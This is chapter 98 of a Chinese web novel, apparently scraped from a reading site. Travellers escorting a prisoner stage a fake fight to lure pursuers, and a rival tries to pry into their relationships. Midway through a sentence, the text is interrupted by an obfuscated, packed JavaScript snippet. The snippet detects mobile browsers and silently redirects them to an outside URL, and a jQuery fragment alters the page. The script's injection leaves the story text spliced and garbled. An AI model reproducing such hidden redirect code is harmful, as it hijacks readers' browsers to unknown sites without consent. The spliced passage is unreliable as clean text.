98.假戏真做
作品:《假死后,她的便宜兄长疯了》 陈瑶池叫他这话噎得无法回嘴,只得拂袖离去。
又过了七、八日,卓恒将一应事务都交待妥当,这便启程往都城回转。
一行人离开武林城一路朝北,行至暮霞浓重之时都未至驿馆,四周又无私旅,便只得在水道旁寻了一处地方扎了个帐篷。
姜涣覆着面纱与成鲤一道一前一后守在梁重的帐篷周围,卓恒怕她坐了一日的马车觉得疲累,行过去,道:“此处由我守着,你先去歇一歇吧,都累一日了。”
“不必。”姜涣瞧着四周的林子,“尾巴都在呢。”
“跟了一路都没动手,想必是在找时机。”成鲤压低了声音,道:“大人与其劝元娘去歇着,不如想想法子如何料理这些尾巴。”
卓恒环顾四周,轻声道:“人多吗?”
成鲤:“十几二十人吧,我能护住梁重祖孙。”至于别的护卫什么的,那就与我无关了。
“你的人呢?”姜涣侧了身去瞧卓恒,“除我们三人之外,你带的护卫只有十人,那十人齐上都扣不下我。”
卓恒行事素来稳妥,他既奉天子令查官银案,如今押着梁重还有部分官银一道回都城,怎么可能只叫十个身手平平之人护卫在侧?
姜涣又非是第一日认得卓恒,他的心思,姜涣还是能猜得准的。
“真是逃不过你的眼睛。”卓恒淡开一抹笑:“有人护着,但我不知道他们在哪里。”毕竟是天禄司的人,他无权调动,亦不知底细。
“天禄司。”成鲤冷笑,“最终还是会派天禄司,无论是从前的明夷府,还是如今的天禄司,无论是姓萧还是姓赵,最后用的都是同样的棋子。”
卓恒:“你怎知天禄司?”这毕竟是皇家暗卫,许多朝臣都未必知晓有这样一个地方存在。
“明夷府是当年的明德皇后所创立,至今三百多年了,虽然易了名字,但到底是换汤不换药的。当年方字辈与云字辈的谷主与萧氏皇族交好,素问谷于明夷府一事上多有助益。”
“我堂堂北谷惩戒院长老唯一的弟子,我能不知道?”
“少卖弄。”姜涣上去就在他头上拍了一巴掌,“天禄司内里有些事要素问谷相帮,是以素问谷的谷主与长老都是知道的。自然,几个受宠的弟子也会听自己师父提起。”
“即便有天禄司在侧,也不能全然放心。毕竟,只有千日做贼的,没有千日防贼的。”姜涣说罢,眼角余光发觉陈瑶池正盯着此处。
她瞧了瞧陈瑶池,又瞧了瞧卓恒,忽然心生一计。她对着卓恒使了个眼色,道:“卓大人觉得此计如何?”
卓恒蹙了眉头瞧了瞧身后,转头道:“你……”
成鲤:“她不傻,你既然领了皇帝的旨意来,怎么会无端端带个丝毫帮不上手的姑娘前来?若那人是你心上人也就罢了,但依我这几日的观察,你怕是避她如蛇蝎吧?”
“既然如此,除非皇帝下令,不然凭她什么郡主也好,公主也罢,你能叫她缠着?”
姜涣:“宣帝又不是个毫无手腕之人,他连亲儿子都能下狠手,一个宗室郡主的女儿,再怎么受宠也不会轻易叫她与这等案子沾了边。”
想当年赵元熙不过就是私访了一次卓府,在坊间多了些没有根据的风言风语,宣帝就能叫人对他行脊杖,姜涣可不认为这样的一个皇帝是会因为陈瑶池几句央求就松口同意的。
自然,陈瑶池也有可能是自己偷偷跟过来的。可若是如此,依着卓恒的心性,哪怕是将她打晕了上绑着,都要将她绑回都城才是。
听得姜涣提及赵元熙,卓恒下意识便想到了故旧之事。姜涣见他缄口不言,继续道:“大人,我等对朝中之事无意窥探,大人也不必与我们言说。”
卓恒:“我不是这个意思,我只是……”
“只是什么都随便,我就问你这法子能不能使。”成鲤瞧他神情不对,怕卓恒又提些叫姜涣不好回答的话,当即打断。“若是能使,就取舆图来商量行事之所。”
卓恒轻叹一声,回道:“一路之上皆行官道,最为合适的地方,当是在枫叶镇外的山谷。那处山谷来时我就特地探过,伏击最是合适。”
“知道了。”姜涣如此说着,当即看向一旁的成鲤:“交给你了。”
话音方落,姜涣便忽然走到卓恒与成鲤面前,将他们二人一左一右,各推开些许。“你俩行了,要打出去打,别跑我面前吵。”
姜涣说罢这话,成鲤即刻接道:“姓卓的,你敢不敢与我出去比上一场?莫要以为你当个小官就了不得了,要不是元娘开口,我才不会给你当护卫。”
卓恒:“就你这等藏头藏尾的行事作风,还敢与我叫板?”
“出去!”姜涣抬手一指,重复道:“现在!立刻!马上!”
二人顺着姜涣所指方向,一先一后,相继离开,渐渐隐入山林之内。
陈瑶池当即朝着姜涣走近几步,问道:“姜娘子,他们这是?”
“不必理他们。”姜涣明行几步守在梁重的帐篷前,道:“我看他们就是太清闲了,好好消耗些体力也是好的。”
陈瑶池又朝着卓恒离开的地方瞧了一眼,忽道:“姜娘子,与你同来的那位玄色衣袍的郎君,真的只是你的师兄?”
姜涣将问题抛回给陈瑶池:“不然呢?”
陈瑶池讪笑两声,道:“我瞧着总是有些不大像。成郎君那模样,倒好似我一位姐姐的夫君。说来也巧,我那位姐姐与姜娘子的性子十分相似,而那位姐夫的性子与成郎君十分相似。”
“他们这对夫妻呀,未成婚前总是争吵不断,婚后却是恩爱得不行,日日如胶似漆,片刻都不能离了彼此半步。”
陈瑶池如此说着,她知晓,只要这三人能为儿女私情争吵不休,那必定会露出破绽来,想要除掉梁重祖孙亦非难事了。
“所以陈姑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687272|182146||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娘是想认我当姐姐?”姜涣并不往陈瑶池的套里钻,故意装傻,道:“这大周律法,官民不婚。若我当真能当这陈姑娘的姐姐,有永乐侯府当依靠,想必日后朝中的青年才俊也是能指望一二了。”
姜涣这番话将陈瑶池噎得一时无法回嘴。她刻意装傻,假意装做听不懂的模样,反而将自己方才的话中意思刻意曲解,叫自己一时应也不是,拒也不是。
姜涣见她犯了难,当即笑道:“我与陈姑娘玩笑而已,陈姑娘不必当真。我本就是一介孤女,出身江湖,怎敢高攀永乐侯府的枝头。”
“陈姑娘不似寻常官家姑娘那般瞧不起我这江湖女子,我亦不好登鼻子上脸,叫陈姑娘为难不是?”
呸!就你永乐侯陈谨芝那枝歪脖子树的枝丫,捧着送到我面前我都不带看一眼的!多看一眼都觉得是对不住自己的师父!
姜涣可不会忘记陈谨始乱终弃的那茬事。
陈瑶池干笑几声,只得接话,道:“姜娘子客气了,我自也是欢喜姜娘子的,只是家中规矩严,结拜一事还得回府后同我阿爹阿娘说了,才能行事。既是要唤娘子姐姐,自不好随意在嘴上说说,必得好生操办一场,通知族中耆老才是。”
“那便说定了,等到了都城后便等陈姑娘的好消息了。嗯,若是当真与永乐侯府挂勾起来,那我也能穿上好些漂亮的衣服,戴上好些精致的钗环了。”
“我一介江湖女子,虽爱许多好看的衣裳钗环,但出身太低,若是用了,怕犯了忌讳。”
陈瑶池还当她真的就会将这事揭过,不想自己一番托词叫她顺梯而上,反而将自己架在半空,不上不下。
陈瑶池不想继续在此处被姜涣占了便宜去,只能笑笑应下,言说入了都城后必定会与永乐侯夫妇言明此事。此话说罢,她便直接跟回去,断不敢再轻易与姜涣交谈。
姜涣对此很是满意。
既然这陈瑶池的烂摊子是卓恒揽过来的,那这等事自也该由卓恒去处理,她才不会傻到浪费自己的辰光去与陈瑶池虚与委蛇。
卓恒与成鲤天黑方归,也不知这二人是怎么商量的,反正回到水道旁的时候,二人衣衫不整,发髻微乱,脸上还都挂了彩。
彼时随行的护卫已经从水道中捉了鱼上来烤,他们二人归来之时,火光正耀,将他们彼此脸上的伤都映得那叫一个清楚显眼。
成鲤坐到姜涣身边后先是抬手拭了拭嘴角的血,随后又扫了扫发间的泥灰落叶。姜涣当即将手里的鱼往边上挪了挪:“你轻点,仔细这鱼都没法吃了。”
成鲤并不理会,只一把将姜涣手里的烤鱼拿过来,随即撕下一块来就往嘴里送。也不知是吃得急了咬了舌头,还是当真伤了下颌,只一口,就叫他发出一阵吸气声。
“啧,小鲤鱼,你这是挨了多少拳?”做个戏罢了,他们至于非往脸上打吗?直接撕一撕衣裳,再各自往对方身上扔几把泥不就结了?

